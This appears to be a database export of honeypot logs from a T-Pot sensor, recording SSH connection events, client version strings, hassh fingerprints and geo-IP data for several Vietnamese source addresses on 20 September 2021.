"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38000, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.076579", "@timestamp": "2021-09-20T11:08:30.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24141	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:30.564794+03	2021-09-20 14:15:08.398505+03	{"_id": "mgbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50088, "timestamp": "2021-09-20T11:08:30.564794", "@timestamp": "2021-09-20T11:08:30.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24142	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:30.566587+03	2021-09-20 14:15:08.399505+03	{"_id": "mwbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50088, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.566587", "@timestamp": "2021-09-20T11:08:30.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24158	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:32.952708+03	2021-09-20 14:15:08.4175+03	{"_id": "7QbkAnwBvYTbRNuErRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7fe8617cbda9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:32.952708Z", "@timestamp": "2021-09-20T11:08:32.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24143	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:30.822615+03	2021-09-20 14:15:08.400501+03	{"_id": "nAbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36030, "timestamp": "2021-09-20T11:08:30.822615", "@timestamp": "2021-09-20T11:08:30.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24144	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:30.942866+03	2021-09-20 14:15:08.4015+03	{"_id": "nQbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36030, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.942866", "@timestamp": "2021-09-20T11:08:30.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24145	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:30.494858+03	2021-09-20 14:15:08.402499+03	{"_id": "ngbkAnwBvYTbRNuEpRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36030 (192.168.176.2:22) [session: 1113f6e169c1]", "session": "1113f6e169c1", "@version": "1", "protocol": "ssh", "src_port": 36030, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.494858Z", "@timestamp": "2021-09-20T11:08:30.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24146	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:30.355135+03	2021-09-20 14:15:08.403507+03	{"_id": "nwbkAnwBvYTbRNuEpRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a2b08340ec2e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:30.355135Z", "@timestamp": "2021-09-20T11:08:30.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24147	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:30.352839+03	2021-09-20 14:15:08.404499+03	{"_id": "oAbkAnwBvYTbRNuEpRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50088 (192.168.176.2:22) [session: a2b08340ec2e]", "session": "a2b08340ec2e", "@version": "1", "protocol": "ssh", "src_port": 50088, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.352839Z", "@timestamp": "2021-09-20T11:08:30.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24148	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:30.567268+03	2021-09-20 14:15:08.405504+03	{"_id": "oQbkAnwBvYTbRNuEpRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a2b08340ec2e", "@version": "1", "timestamp": "2021-09-20T11:08:30.567268Z", "@timestamp": "2021-09-20T11:08:30.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24149	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:30.821054+03	2021-09-20 14:15:08.40747+03	{"_id": "ogbkAnwBvYTbRNuEpRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1113f6e169c1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:30.821054Z", "@timestamp": "2021-09-20T11:08:30.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
